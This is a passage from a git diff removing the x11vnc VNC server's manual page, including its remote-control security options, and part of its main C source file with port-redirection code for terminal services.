-nowaitmapped clip flashcmap noflashcmap shiftcmap
-truecolor notruecolor overlay nooverlay overlay_cursor
-overlay_yescursor nooverlay_nocursor nooverlay_cursor
-nooverlay_yescursor overlay_nocursor 8to24 no8to24
-8to24_opts 24to32 no24to32 visual scale scale_cursor
-viewonly noviewonly shared noshared forever noforever
-once timeout tightfilexfer notightfilexfer ultrafilexfer
-noultrafilexfer rfbversion deny lock nodeny unlock avahi
-mdns zeroconf noavahi nomdns nozeroconf connect proxy
-allowonce allow noipv6 ipv6 noipv4 ipv4 no6 6 localhost
-nolocalhost listen lookup nolookup accept afteraccept
-gone shm noshm flipbyteorder noflipbyteorder onetile
-noonetile solid_color solid nosolid blackout xinerama
-noxinerama xtrap noxtrap xrandr noxrandr xrandr_mode
-rotate padgeom quiet q noquiet modtweak nomodtweak xkb
-noxkb capslock nocapslock skip_lockkeys noskip_lockkeys
-skip_keycodes sloppy_keys nosloppy_keys skip_dups
-noskip_dups add_keysyms noadd_keysyms clear_mods
-noclear_mods clear_keys noclear_keys clear_all
-clear_locks keystate remap repeat norepeat fb nofb bell
-nobell sendbell sel nosel primary noprimary setprimary
-nosetprimary clipboard noclipboard setclipboard
-nosetclipboard seldir cursorshape nocursorshape
-cursorpos nocursorpos cursor_drag nocursor_drag cursor
-show_cursor noshow_cursor nocursor arrow xfixes noxfixes
-xdamage noxdamage xd_area xd_mem alphacut alphafrac
-alpharemove noalpharemove alphablend noalphablend
-xwarppointer xwarp noxwarppointer noxwarp always_inject
-noalways_inject buttonmap dragging nodragging ncache_cr
-noncache_cr ncache_no_moveraise noncache_no_moveraise
-ncache_no_dtchange noncache_no_dtchange
-ncache_no_rootpixmap noncache_no_rootpixmap
-ncache_reset_rootpixmap ncrp ncache_keep_anims
-noncache_keep_anims ncache_old_wm noncache_old_wm
-ncache_pad ncache noncache ncache_size debug_ncache
-nodebug_ncache wireframe_mode wireframe wf nowireframe
-nowf wireframelocal wfl nowireframelocal nowfl
-wirecopyrect wcr nowirecopyrect nowcr scr_area
-scr_skip scr_inc scr_keys scr_term scr_keyrepeat
-scr_parms scrollcopyrect scr noscrollcopyrect
-noscr fixscreen noxrecord xrecord reset_record
-pointer_mode pm input_skip allinput noallinput
-input_eagerly noinput_eagerly input grabkbd nograbkbd
-grabptr nograbptr grabalways nograbalways grablocal
-client_input ssltimeout speeds wmdt debug_pointer dp
-nodebug_pointer nodp debug_keyboard dk nodebug_keyboard
-nodk keycode keysym ptr fakebuttonevent sleep get_xprop
-set_xprop wininfo bcx_xattach deferupdate defer
-setdefer extra_fbur wait_ui wait_bog nowait_bog
-slow_fb xrefresh wait readtimeout nap nonap sb
-screen_blank fbpm nofbpm dpms nodpms clientdpms
-noclientdpms forcedpms noforcedpms noserverdpms
-serverdpms noultraext ultraext chatwindow nochatwindow
-chaton chatoff fs gaps grow fuzz snapfb nosnapfb
-rawfb uinput_accel uinput_thresh uinput_reset
-uinput_always progressive rfbport http nohttp httpport
-httpdir enablehttpproxy noenablehttpproxy alwaysshared
-noalwaysshared nevershared noalwaysshared dontdisconnect
-nodontdisconnect desktop debug_xevents nodebug_xevents
-debug_xevents debug_xdamage nodebug_xdamage
-debug_xdamage debug_wireframe nodebug_wireframe
-debug_wireframe debug_scroll nodebug_scroll debug_scroll
-debug_tiles dbt nodebug_tiles nodbt debug_tiles
-debug_grabs nodebug_grabs debug_sel nodebug_sel dbg
-nodbg macnosaver macsaver nomacnosaver macnowait macwait
-nomacnowait macwheel macnoswap macswap nomacnoswap
-macnoresize macresize nomacnoresize maciconanim macmenu
-macnomenu nomacmenu macuskbd nomacuskbd noremote
-.IP
-aro= noop display vncdisplay icon_mode autoport
-loop loopbg desktopname guess_desktop guess_dbus
-http_url auth xauth users rootshift clipshift scale_str
-scaled_x scaled_y scale_numer scale_denom scale_fac_x
-scale_fac_y scaling_blend scaling_nomult4 scaling_pad
-scaling_interpolate inetd privremote unsafe safer nocmds
-passwdfile unixpw unixpw_nis unixpw_list ssl ssl_pem
-sslverify stunnel stunnel_pem https httpsredir usepw
-using_shm logfile o flag rmflag rc norc h help V version
-lastmod bg sigpipe threads readrate netrate netlatency
-pipeinput clients client_count pid ext_xtest ext_xtrap
-ext_xrecord ext_xkb ext_xshm ext_xinerama ext_overlay
-ext_xfixes ext_xdamage ext_xrandr rootwin num_buttons
-button_mask mouse_x mouse_y grab_state pointer_pos
-pointer_x pointer_y pointer_same pointer_root
-pointer_mask bpp depth indexed_color dpy_x dpy_y wdpy_x
-wdpy_y off_x off_y cdpy_x cdpy_y coff_x coff_y rfbauth
-passwd viewpasswd
-.PP
-\fB-QD\fR \fIvariable\fR
-.IP
-Just like \fB-query\fR variable, but returns the default
-value for that parameter (no running x11vnc server
-is consulted)
-.PP
-\fB-sync\fR
-.IP
-By default \fB-remote\fR commands are run asynchronously, that
-is, the request is posted and the program immediately
-exits. Use \fB-sync\fR to have the program wait for an
-acknowledgement from the x11vnc server that command was
-processed (somehow). On the other hand \fB-query\fR requests
-are always processed synchronously because they have
-to wait for the answer.
-.IP
-Also note that if both \fB-remote\fR and \fB-query\fR requests are
-supplied on the command line, the \fB-remote\fR is processed
-first (synchronously: no need for \fB-sync),\fR and then
-the \fB-query\fR request is processed in the normal way.
-This allows for a reliable way to see if the \fB-remote\fR
-command was processed by querying for any new settings.
-Note however that there is timeout of a few seconds
-(see the next paragraph) so if the x11vnc takes longer
-than that to process the requests the requester will
-think that a failure has taken place.
-.IP
-The default is to wait 3.5 seconds. Or if cmd=stop
-only 1.0 seconds. If cmd matches 'script:' then it
-will wait up to 10.0 seconds. Set X11VNC_SYNC_TIMEOUT
-to the number of seconds you want it to wait.
-.PP
-\fB-query_retries\fR \fIstr\fR
-.IP
-If a query fails to get a response from an x11vnc
-server, retry up to n times. \fIstr\fR is specified as
-n[:t][/match] Optionally the delay between tries may
-be specified by "t" a floating point time (default
-0.5 seconds.) Note: the response is not checked for
-validity or whether it corresponds to the query sent.
-The query "ping:mystring" may be used to help uniquely
-identify the query. Optionally, a matching string after
-a "/" will be used to check the result text. Up to
-n retries will take place until the matching string is
-found in the output text. If the match string is never
-found the program's exit code is 1; if the match is
-found it exits with 0. Note that there may be stdout
-printed for each retry (i.e. multiple lines printed
-out to stdout.)
-Example: \fB-query_retries\fR 4:1.5/grab_state
-.PP
-\fB-remote_prefix\fR \fIstr\fR
-.IP
-Enable a remote-control communication channel for
-connected VNC clients. str is a non-empty string. If a
-VNC client sends rfbCutText having the prefix \fIstr\fR
-then the part after it is processed as though it were
-sent via 'x11vnc \fB-remote\fR ...'. If it begins with
-neither 'cmd=' nor 'qry=' then 'qry=' is assumed.
-Any corresponding output text for that remote control
-command is sent back to all client as rfbCutText.
-The returned output is also prefixed with \fIstr\fR.
-Example: \fB-remote_prefix\fR DO_THIS:
-.IP
-Note that enabling \fB-remote_prefix\fR allows the remote
-VNC viewers to run x11vnc \fB-remote\fR commands. Do not
-use this option if they are not to be trusted.
-.PP
-\fB-noremote,\fR \fB-yesremote\fR
-.IP
-Do not process any remote control commands or queries.
-Do process remote control commands or queries.
-Default: \fB-yesremote\fR
-.IP
-A note about security wrt remote control commands.
-If someone can connect to the X display and change
-the property X11VNC_REMOTE, then they can remotely
-control x11vnc. Normally access to the X display is
-protected. Note that if they can modify X11VNC_REMOTE
-on the X server, they have enough permissions to also
-run their own x11vnc and thus have complete control
-of the desktop. If the "\fB-connect\fR \fI/path/to/file\fR"
-channel is being used, obviously anyone who can write
-to /path/to/file can remotely control x11vnc. So be
-sure to protect the X display and that file's write
-permissions. See \fB-privremote\fR below.
-.IP
-If you are paranoid and do not think \fB-noremote\fR is
-enough, to disable the X11VNC_REMOTE property channel
-completely use \fB-novncconnect,\fR or use the \fB-safer\fR option
-that shuts many things off.
-.PP
-\fB-unsafe\fR
-.IP
-A few remote commands are disabled by default
-(currently: id:pick, accept:<cmd>, gone:<cmd>, and
-rawfb:setup:<cmd>) because they are associated with
-running external programs. If you specify \fB-unsafe,\fR then
-these remote-control commands are allowed. Note that
-you can still specify these parameters on the command
-line, they just cannot be invoked via remote-control.
-.PP
-\fB-safer\fR
-.IP
-Equivalent to: \fB-novncconnect\fR \fB-noremote\fR and prohibiting
-\fB-gui\fR and the \fB-connect\fR file. Shuts off communcation
-channels.
-.PP
-\fB-privremote\fR
-.IP
-Perform some sanity checks and disable remote-control
-commands if it appears that the X DISPLAY and/or
-connectfile can be accessed by other users. Once
-remote-control is disabled it cannot be turned back on.
-.PP
-\fB-nocmds\fR
-.IP
-No external commands (e.g.
-.IR system (3)
-,
-.IR popen (3)
-,
-.IR exec (3)
-)
-will be run at all.
-.PP
-\fB-allowedcmds\fR \fIlist\fR
-.IP
-\fIlist\fR contains a comma separated list of the only
-external commands that can be run. The full list of
-associated options is:
-.IP
-stunnel, ssl, unixpw, WAIT, zeroconf, id, accept,
-afteraccept, gone, pipeinput, v4l-info, rawfb-setup,
-dt, gui, ssh, storepasswd, passwdfile, custom_passwd,
-findauth, crash.
-.IP
-See each option's help to learn the associated external
-command. Note that the \fB-nocmds\fR option takes precedence
-and disables all external commands.
-.PP
-\fB-deny_all\fR
-.IP
-For use with \fB-remote\fR nodeny: start out denying all
-incoming clients until "\fB-remote\fR \fInodeny\fR" is used to
-let them in.
-.PP
-These options are passed to LibVNCServer:
-.PP
-\fB-rfbport\fR \fIport\fR
-.IP
-TCP port for RFB protocol
-.PP
-\fB-rfbwait\fR \fItime\fR
-.IP
-max time in ms to wait for RFB client
-.PP
-\fB-rfbauth\fR \fIpasswd-file\fR
-.IP
-use authentication on RFB protocol
-(use 'x11vnc \fB-storepasswd\fR pass file' to create a password file)
-.PP
-\fB-rfbversion\fR \fI3.x\fR
-.IP
-Set the version of the RFB we choose to advertise
-.PP
-\fB-permitfiletransfer\fR
-.IP
-permit file transfer support
-.PP
-\fB-passwd\fR \fIplain-password\fR
-.IP
-use authentication
-(use plain-password as password, USE AT YOUR RISK)
-.PP
-\fB-deferupdate\fR \fItime\fR
-.IP
-time in ms to defer updates (default 40)
-.PP
-\fB-deferptrupdate\fR \fItime\fR
-.IP
-time in ms to defer pointer updates (default none)
-.PP
-\fB-desktop\fR \fIname\fR
-.IP
-VNC desktop name (default "LibVNCServer")
-.PP
-\fB-alwaysshared\fR
-.IP
-always treat new clients as shared
-.PP
-\fB-nevershared\fR
-.IP
-never treat new clients as shared
-.PP
-\fB-dontdisconnect\fR
-.IP
-don't disconnect existing clients when a new non-shared
-connection comes in (refuse new connection instead)
-.PP
-\fB-httpdir\fR \fIdir-path\fR
-.IP
-enable http server using dir-path home
-.PP
-\fB-httpport\fR \fIportnum\fR
-.IP
-use portnum for http connection
-.PP
-\fB-enablehttpproxy\fR
-.IP
-enable http proxy support
-.PP
-\fB-progressive\fR \fIheight\fR
-.IP
-enable progressive updating for slow links
-.PP
-\fB-listen\fR \fIipaddr\fR
-.IP
-listen for connections only on network interface with
-addr ipaddr. '-listen localhost' and hostname work too.
-.PP
-libvncserver-tight-extension options:
-.PP
-\fB-disablefiletransfer\fR
-.IP
-disable file transfer
-.PP
-\fB-ftproot\fR \fIstring\fR
-.IP
-set ftp root
-.SH "FILES"
-.IR $HOME/.x11vncrc ,
-.IR $HOME/.Xauthority
-.SH "ENVIRONMENT"
-.IR DISPLAY ,
-.IR XAUTHORITY ,
-.IR HOME
-.PP
-The following are set for the auxiliary commands
-run by \fB-accept\fR, \fB-gone\fR and other cases:
-.PP
-.IR RFB_CLIENT_IP ,
-.IR RFB_CLIENT_PORT ,
-.IR RFB_SERVER_IP ,
-.IR RFB_SERVER_PORT ,
-.IR RFB_X11VNC_PID ,
-.IR RFB_CLIENT_ID ,
-.IR RFB_CLIENT_COUNT ,
-.IR RFB_MODE
-.IR RFB_STATE
-.IR RFB_LOGIN_VIEWONLY
-.IR RFB_LOGIN_TIME
-.IR RFB_CURRENT_TIME
-.IR RFB_USERNAME
-.IR RFB_SSL_CLIENT_CERT
-.SH "SEE ALSO"
-.IR vncviewer (1),
-.IR vncpasswd (1),
-.IR vncconnect (1),
-.IR vncserver (1),
-.IR Xvnc (1),
-.IR xev (1),
-.IR xdpyinfo (1),
-.IR xwininfo (1),
-.IR xprop (1),
-.IR xmodmap (1),
-.IR xrandr (1),
-.IR Xserver (1),
-.IR xauth (1),
-.IR xhost (1),
-.IR Xsecurity (7),
-.IR xmessage (1),
-.IR XGetImage (3X11),
-.IR ipcrm (1),
-.IR inetd (1),
-.IR xdm (1),
-.IR gdm (1),
-.IR kdm (1),
-.IR ssh (1),
-.IR stunnel (8),
-.IR su (1),
-.IR http://www.tightvnc.com ,
-.IR http://www.realvnc.com ,
-.IR http://www.karlrunge.com/x11vnc/ ,
-.IR http://www.karlrunge.com/x11vnc/#faq
-.SH AUTHORS
-x11vnc was written by Karl J. Runge <runge@karlrunge.com>,
-it is part of the LibVNCServer project <http://sf.net/projects/libvncserver>.
-This manual page is based one the one written by Ludovic Drolez
-<ldrolez@debian.org>, for the Debian project (both may be used by others).
diff --git a/x11vnc/x11vnc.c b/x11vnc/x11vnc.c
deleted file mode 100644
index 64a73de..0000000
--- a/x11vnc/x11vnc.c
+++ /dev/null
@@ -1,5945 +0,0 @@
-/*
- * x11vnc: a VNC server for X displays.
- *
- * Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- * All rights reserved.
- *
- * This file is part of x11vnc.
- *
- * This is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; version 2 of the License, or (at
- * your option) any later version.
- *
- * This software is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this software; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
- * USA or see <http://www.gnu.org/licenses/>.
- *
- * In addition, as a special exception, Karl J. Runge
- * gives permission to link the code of its release of x11vnc with the
- * OpenSSL project's "OpenSSL" library (or with modified versions of it
- * that use the same license as the "OpenSSL" library), and distribute
- * the linked executables. You must obey the GNU General Public License
- * in all respects for all of the code used other than "OpenSSL". If you
- * modify this file, you may extend this exception to your version of the
- * file, but you are not obligated to do so. If you do not wish to do
- * so, delete this exception statement from your version.
- */
-
-/*
- * This program is based on some ideas from the following programs:
- *
- * the initial x11vnc.c in libvncserver (Johannes E. Schindelin)
- * x0rfbserver, the original native X vnc server (Jens Wagner)
- * krfb, the KDE desktopsharing project (Tim Jansen)
- *
- * Please see http://www.karlrunge.com/x11vnc for the most up-to-date
- * information about x11vnc. Some of the following text may be out
- * of date.
- *
- * The primary goal of this program is to create a portable and simple
- * command-line server utility that allows a VNC viewer to connect
- * to an actual X display (as the above do). The only non-standard
- * dependency of this program is the static library libvncserver.a.
- * Although in some environments libjpeg.so or libz.so may not be
- * readily available and needs to be installed, they may be found
- * at ftp://ftp.uu.net/graphics/jpeg/ and http://www.gzip.org/zlib/,
- * respectively. To increase portability it is written in plain C.
- *
- * Another goal is to improve performance and interactive response.
- * The algorithm of x0rfbserver was used as a base. Many additional
- * heuristics are also applied.
- *
- * Another goal is to add many features that enable and incourage creative
- * usage and application of the tool. Apologies for the large number
- * of options!
- *
- * To build:
- *
- * Obtain the libvncserver package (http://libvncserver.sourceforge.net).
- * As of 12/2002 this version of x11vnc.c is contained in the libvncserver
- * CVS tree and released in version 0.5.
- *
- * gcc should be used on all platforms. To build a threaded version put
- * "-D_REENTRANT -DX11VNC_THREADED" in the environment variable CFLAGS
- * or CPPFLAGS (e.g. before running the libvncserver configure). The
- * threaded mode is a bit more responsive, but can be unstable (e.g.
- * if more than one client the same tight or zrle encoding).
- *
- * Known shortcomings:
- *
- * The screen updates are good, but of course not perfect since the X
- * display must be continuously polled and read for changes and this is
- * slow for most hardware. This can be contrasted with receiving a change
- * callback from the X server, if that were generally possible... (UPDATE:
- * this is handled now with the X DAMAGE extension, but unfortunately
- * that doesn't seem to address the slow read from the video h/w). So,
- * e.g., opaque moves and similar window activity can be very painful;
- * one has to modify one's behavior a bit.
- *
- * General audio at the remote display is lost unless one separately
- * sets up some audio side-channel such as esd.
- *
- * It does not appear possible to query the X server for the current
- * cursor shape. We can use XTest to compare cursor to current window's
- * cursor, but we cannot extract what the cursor is... (UPDATE: we now
- * use XFIXES extension for this. Also on Solaris and IRIX Overlay
- * extensions exists that allow drawing the mouse into the framebuffer)
- *
- * The current *position* of the remote X mouse pointer is shown with
- * the -cursor option. Further, if -cursor X is used, a trick
- * is done to at least show the root window cursor vs non-root cursor.
- * (perhaps some heuristic can be done to further distinguish cases...,
- * currently "-cursor some" is a first hack at this)
- *
- * Under XFIXES mode for showing the cursor shape, the cursor may be
- * poorly approximated if it has transparency (alpha channel).
- *
- * Windows using visuals other than the default X visual may have
- * their colors messed up. When using 8bpp indexed color, the colormap
- * is attempted to be followed, but may become out of date. Use the
- * -flashcmap option to have colormap flashing as the pointer moves
- * windows with private colormaps (slow). Displays with mixed depth 8 and
- * 24 visuals will incorrectly display windows using the non-default one.
- * On Sun and Sgi hardware we can to work around this with -overlay.
- *
- * Feature -id <windowid> can be picky: it can crash for things like
- * the window not sufficiently mapped into server memory, etc (UPDATE:
- * we now use the -xrandr mechanisms to trap errors more robustly for
- * this mode). SaveUnders menus, popups, etc will not be seen.
- *
- * Under some situations the keysym unmapping is not correct, especially
- * if the two keyboards correspond to different languages. The -modtweak
- * option is the default and corrects most problems. One can use the
- * -xkb option to try to use the XKEYBOARD extension to clear up any
- * remaining problems.
- *
- * Occasionally, a few tile updates can be missed leaving a patch of
- * color that needs to be refreshed. This may only be when threaded,
- * which is no longer the default.
- *
- * There seems to be a serious bug with simultaneous clients when
- * threaded, currently the only workaround in this case is -nothreads
- * (which is now the default).
- */
-
-
-/* -- x11vnc.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "xdamage.h"
-#include "xrecord.h"
-#include "xevents.h"
-#include "xinerama.h"
-#include "xrandr.h"
-#include "xkb_bell.h"
-#include "win_utils.h"
-#include "remote.h"
-#include "scan.h"
-#include "gui.h"
-#include "help.h"
-#include "user.h"
-#include "cleanup.h"
-#include "keyboard.h"
-#include "pointer.h"
-#include "cursor.h"
-#include "userinput.h"
-#include "screen.h"
-#include "connections.h"
-#include "rates.h"
-#include "unixpw.h"
-#include "inet.h"
-#include "sslcmds.h"
-#include "sslhelper.h"
-#include "selection.h"
-#include "pm.h"
-#include "solid.h"
-
-/*
- * main routine for the x11vnc program
- */
-void watch_loop(void);
-
-static int limit_shm(void);
-static void check_rcfile(int argc, char **argv);
-static void immediate_switch_user(int argc, char* argv[]);
-static void print_settings(int try_http, int bg, char *gui_str);
-static void check_loop_mode(int argc, char* argv[], int force);
-static void check_appshare_mode(int argc, char* argv[]);
-
-static int tsdo_timeout_flag;
-
-static void tsdo_timeout (int sig) {
- tsdo_timeout_flag = 1;
- if (sig) {};
-}
-
-#define TASKMAX 32
-static pid_t ts_tasks[TASKMAX];
-static int ts_taskn = -1;
-
-int tsdo(int port, int lsock, int *conn) {
- int csock, rsock, i, db = 1;
- pid_t pid;
- struct sockaddr_in addr;
-#ifdef __hpux
- int addrlen = sizeof(addr);
-#else
- socklen_t addrlen = sizeof(addr);
-#endif
-
- if (*conn < 0) {
- signal(SIGALRM, tsdo_timeout);
- tsdo_timeout_flag = 0;
-
- alarm(10);
- csock = accept(lsock, (struct sockaddr *)&addr, &addrlen);
- alarm(0);
-
- if (db) rfbLog("tsdo: accept: lsock: %d, csock: %d, port: %d\n", lsock, csock, port);
-
- if (tsdo_timeout_flag > 0 || csock < 0) {
- close(csock);
- *conn = -1;
- return 1;
- }
- *conn = csock;
- } else {
- csock = *conn;
- if (db) rfbLog("tsdo: using existing csock: %d, port: %d\n", csock, port);
- }
-
- rsock = connect_tcp("127.0.0.1", port);
- if (rsock < 0) {
- if (db) rfbLog("tsdo: connect_tcp(port=%d) failed.\n", port);
- close(csock);
- return 2;
- }
-
- pid = fork();
- if (pid < 0) {
- close(csock);
- close(rsock);
- return 3;
- }
- if (pid > 0) {
- ts_taskn = (ts_taskn+1) % TASKMAX;
- ts_tasks[ts_taskn] = pid;
- close(csock);
- close(rsock);
- *conn = -1;
- return 0;
- }
- if (pid == 0) {
- for (i=0; i<255; i++) {
- if (i != csock && i != rsock && i != 2) {
- close(i);
- }
- }
-#if LIBVNCSERVER_HAVE_SETSID
- if (setsid() == -1) {
- perror("setsid");
- close(csock);
- close(rsock);
- exit(1);
- }
-#else
- if (setpgrp() == -1) {
- perror("setpgrp");
- close(csock);
- close(rsock);
- exit(1);
- }
-#endif /* SETSID */
- raw_xfer(rsock, csock, csock);
- close(csock);
- close(rsock);
- exit(0);
- }
- return 0;
-}
-
-void set_redir_properties(void);
-
-#define TSMAX 32
-#define TSSTK 16
-
-void terminal_services(char *list) {
- int i, j, n, db = 1;
- char *p, *q, *r, *str;
-#if !NO_X11
- char *tag[TSMAX];
- int listen[TSMAX], redir[TSMAX][TSSTK], socks[TSMAX], tstk[TSSTK];
- double rate_start;
- int rate_count;
- Atom at, atom[TSMAX];
- fd_set rd;
- Window rwin;
- XErrorHandler old_handler1;
- XIOErrorHandler old_handler2;
- char num[32];
- time_t last_clean = time(NULL);
-
- if (getenv("TS_REDIR_DEBUG")) {
- db = 2;
- }
-
- if (! dpy) {
- return;
- }
-
- rwin = RootWindow(dpy, DefaultScreen(dpy));
-
- at = XInternAtom(dpy, "TS_REDIR_LIST", False);
- if (at != None) {
- XChangeProperty(dpy, rwin, at, XA_STRING, 8,
- PropModeReplace, (unsigned char *)list, strlen(list));
- XSync(dpy, False);
- }
- if (db) fprintf(stderr, "TS_REDIR_LIST Atom: %d.\n", (int) at);
-
- oh_restart_it_all:
-
- for (i=0; i<TASKMAX; i++) {
- ts_tasks[i] = 0;
- }
- for (i=0; i<TSMAX; i++) {
- socks[i] = -1;
- listen[i] = -1;
- for (j=0; j<TSSTK; j++) {
- redir[i][j] = 0;
- }
- }
-
- rate_start = 0.0;
- rate_count = 0;
-
- n = 0;
- str = strdup(list);
- p = strtok(str, ",");
- while (p) {
- int m1, m2;
- if (db) fprintf(stderr, "item: %s\n", p);
- q = strrchr(p, ':');
- if (!q) {
- p = strtok(NULL, ",");
- continue;
- }
- r = strchr(p, ':');
- if (!r || r == q) {
- p = strtok(NULL, ",");
- continue;
- }
-
- m1 = atoi(q+1);
- *q = '\0';
- m2 = atoi(r+1);
- *r = '\0';
-
- if (m1 <= 0 || m2 <= 0 || m1 >= 0xffff || m2 >= 0xffff) {
- p = strtok(NULL, ",");
- continue;
- }
-
- redir[n][0] = m1;
- listen[n] = m2;
- tag[n] = strdup(p);
-
- if (db) fprintf(stderr, " %d %d %s\n", redir[n][0], listen[n], tag[n]);
-
- *r = ':';
- *q = ':';
-
- n++;
- if (n >= TSMAX) {
- break;
- }
- p = strtok(NULL, ",");
- }
- free(str);
-
- if (n==0) {
- return;
- }
-
- at = XInternAtom(dpy, "TS_REDIR_PID", False);
- if (at != None) {
- sprintf(num, "%d", getpid());
- XChangeProperty(dpy, rwin, at, XA_STRING, 8,
- PropModeReplace, (unsigned char *)num, strlen(num));
- XSync(dpy, False);
- }
-
- for (i=0; i<n; i++) {
- int k;
- atom[i] = XInternAtom(dpy, tag[i], False);
- if (db) fprintf(stderr, "tag: %s atom: %d\n", tag[i], (int) atom[i]);
- if (atom[i] == None) {
- continue;
- }
- sprintf(num, "%d", redir[i][0]);
- if (db) fprintf(stderr, " listen: %d redir: %s\n", listen[i], num);
- XChangeProperty(dpy, rwin, atom[i], XA_STRING, 8,
- PropModeReplace, (unsigned char *)num, strlen(num));
- XSync(dpy, False);
-
- for (k=1; k <= 5; k++) {
- /* XXX ::1 fallback? */
- socks[i] = listen_tcp(listen[i], htonl(INADDR_LOOPBACK), 1);
- if (socks[i] >= 0) {
- if (db) fprintf(stderr, " listen succeeded: %d\n", listen[i]);
- break;
- }
- if (db) fprintf(stderr, " listen failed***: %d\n", listen[i]);
- usleep(k * 2000*1000);
- }
- }
-
- if (getenv("TSD_RESTART")) {
- if (!strcmp(getenv("TSD_RESTART"), "1")) {
- set_redir_properties();
- }
- }
-
- while (1) {
- struct timeval tv;
- int nfd;
- int fmax = -1;
-
- tv.tv_sec = 3;
- tv.tv_usec = 0;
-
- FD_ZERO(&rd);
- for (i=0; i<n; i++) {
- if (socks[i] >= 0) {
- FD_SET(socks[i], &rd);
- if (socks[i] > fmax) {
- fmax = socks[i];
- }
- }
- }
-
- nfd = select(fmax+1, &rd, NULL, NULL, &tv);
-
- if (db && 0) fprintf(stderr, "nfd=%d\n", nfd);
- if (nfd < 0 && errno == EINTR) {
- XSync(dpy, True);
- continue;
- }
- if (nfd > 0) {
- int did_ts = 0;
- for(i=0; i<n; i++) {
- int k = 0;
- for (j = 0; j < TSSTK; j++) {
- tstk[j] = 0;
- }
- for (j = 0; j < TSSTK; j++) {
- if (redir[i][j] != 0) {
- tstk[k++] = redir[i][j];
- }
- }
- for (j = 0; j < TSSTK; j++) {
- redir[i][j] = tstk[j];
-if (tstk[j] != 0) fprintf(stderr, "B redir[%d][%d] = %d %s\n", i, j, tstk[j], tag[i]);
- }
- }
- for(i=0; i<n; i++) {
- int s = socks[i];
- if (s < 0) {
- continue;
- }
- if (FD_ISSET(s, &rd)) {
- int p0, p, found = -1, jzero = -1;
- int conn = -1;
-
- get_prop(num, 32, atom[i], None);
- p0 = atoi(num);
-
- for (j = TSSTK-1; j >= 0; j--) {
- if (redir[i][j] == 0) {
- jzero = j;
- continue;
- }
- if (p0 > 0 && p0 < 0xffff) {
- if (redir[i][j] == p0) {
- found = j;
- break;
- }
- }
- }
- if (jzero < 0) {
- jzero = TSSTK-1;
- }
- if (found < 0) {
- if (p0 > 0 && p0 < 0xffff) {
- redir[i][jzero] = p0;
- }
- }
- for (j = TSSTK-1; j >= 0; j--) {
- int rc;
- p = redir[i][j];
- if (p <= 0 || p >= 0xffff) {
- redir[i][j] = 0;
- continue;
- }
-
- if (dnow() > rate_start + 10.0) {
- rate_start = dnow();
- rate_count = 0;
- }
- rate_count++;
-
- rc = tsdo(p, s, &conn);
- did_ts++;
-
- if (rc == 0) {
- /* AOK */
- if (db) fprintf(stderr, "tsdo[%d] OK: %d\n", i, p);
- if (p != p0) {
- sprintf(num, "%d", p);
- XChangeProperty(dpy, rwin, atom[i], XA_STRING, 8,
- PropModeReplace, (unsigned char *)num, strlen(num));
- XSync(dpy, False);
- }
- break;
- } else if (rc == 1) {
- /* accept failed */
- if (db) fprintf(stderr, "tsdo[%d] accept failed: %d, sleep 50ms\n", i, p);
- usleep(50*1000);
- break;
- } else if (rc == 2) {
- /* connect failed */
- if (db) fprintf(stderr, "tsdo[%d] connect failed: %d, sleep 50ms rate: %d/10s\n", i, p, rate_count);
- redir[i][j] = 0;
- usleep(50*1000);
- continue;
- } else if (rc == 3) {
- /* fork failed */
- usleep(500*1000);
- break;
- }
- }
- for (j = 0; j < TSSTK; j++) {
- if (redir[i][j] != 0) fprintf(stderr, "A redir[%d][%d] = %d %s\n", i, j, redir[i][j], tag[i]);
- }
- }
- }
- if (did_ts && rate_count > 100) {
- int db_netstat = 1;
- char dcmd[100];
-
- if (no_external_cmds) {
- db_netstat = 0;
- }
-
- rfbLog("terminal_services: throttling high connect rate %d/10s\n", rate_count);
- usleep(2*1000*1000);
- rfbLog("terminal_services: stopping ts services.\n");
- for(i=0; i<n; i++) {
- int s = socks[i];
- if (s < 0) {
- continue;
- }
- rfbLog("terminal_services: closing listen=%d sock=%d.\n", listen[i], socks[i]);
- if (listen[i] >= 0 && db_netstat) {
- sprintf(dcmd, "netstat -an | grep -w '%d'", listen[i]);
- fprintf(stderr, "#1 %s\n", dcmd);
- system(dcmd);
- }
- close(s);
- socks[i] = -1;
- usleep(2*1000*1000);
- if (listen[i] >= 0 && db_netstat) {
- fprintf(stderr, "#2 %s\n", dcmd);
- system(dcmd);
- }
- }
- usleep(10*1000*1000);
-
- rfbLog("terminal_services: restarting ts services\n");
- goto oh_restart_it_all;
- }
- }
- for (i=0; i<TASKMAX; i++) {
- pid_t p = ts_tasks[i];
- if (p > 0) {
- int status;
- pid_t p2 = waitpid(p, &status, WNOHANG);
- if (p2 == p) {
- ts_tasks[i] = 0;
- }
- }
- }
- /* this is to drop events and exit when X server is gone. */
- old_handler1 = XSetErrorHandler(trap_xerror);
- old_handler2 = XSetIOErrorHandler(trap_xioerror);
- trapped_xerror = 0;
- trapped_xioerror = 0;
-
- XSync(dpy, True);
-
- sprintf(num, "%d", (int) time(NULL));
- at = XInternAtom(dpy, "TS_REDIR", False);
- if (at != None) {
- XChangeProperty(dpy, rwin, at, XA_STRING, 8,
- PropModeReplace, (unsigned char *)num, strlen(num));
- XSync(dpy, False);
- }
- if (time(NULL) > last_clean + 20 * 60) {
- int i, j;
- for(i=0; i<n; i++) {
- int first = 1;
- for (j = TSSTK-1; j >= 0; j--) {
- int s, p = redir[i][j];
- if (p <= 0 || p >= 0xffff) {
- redir[i][j] = 0;
- continue;
- }
- s = connect_tcp("127.0.0.1", p);
- if (s < 0) {
- redir[i][j] = 0;
- if (db) fprintf(stderr, "tsdo[%d][%d] clean: connect failed: %d\n", i, j, p);
- } else {
- close(s);
- if (first) {
- sprintf(num, "%d", p);
- XChangeProperty(dpy, rwin, atom[i], XA_STRING, 8,
- PropModeReplace, (unsigned char *)num, strlen(num));
- XSync(dpy, False);
- }
- first = 0;
- }
- usleep(500*1000);
- }
- }
- last_clean = time(NULL);
- }
- if (trapped_xerror || trapped_xioerror) {
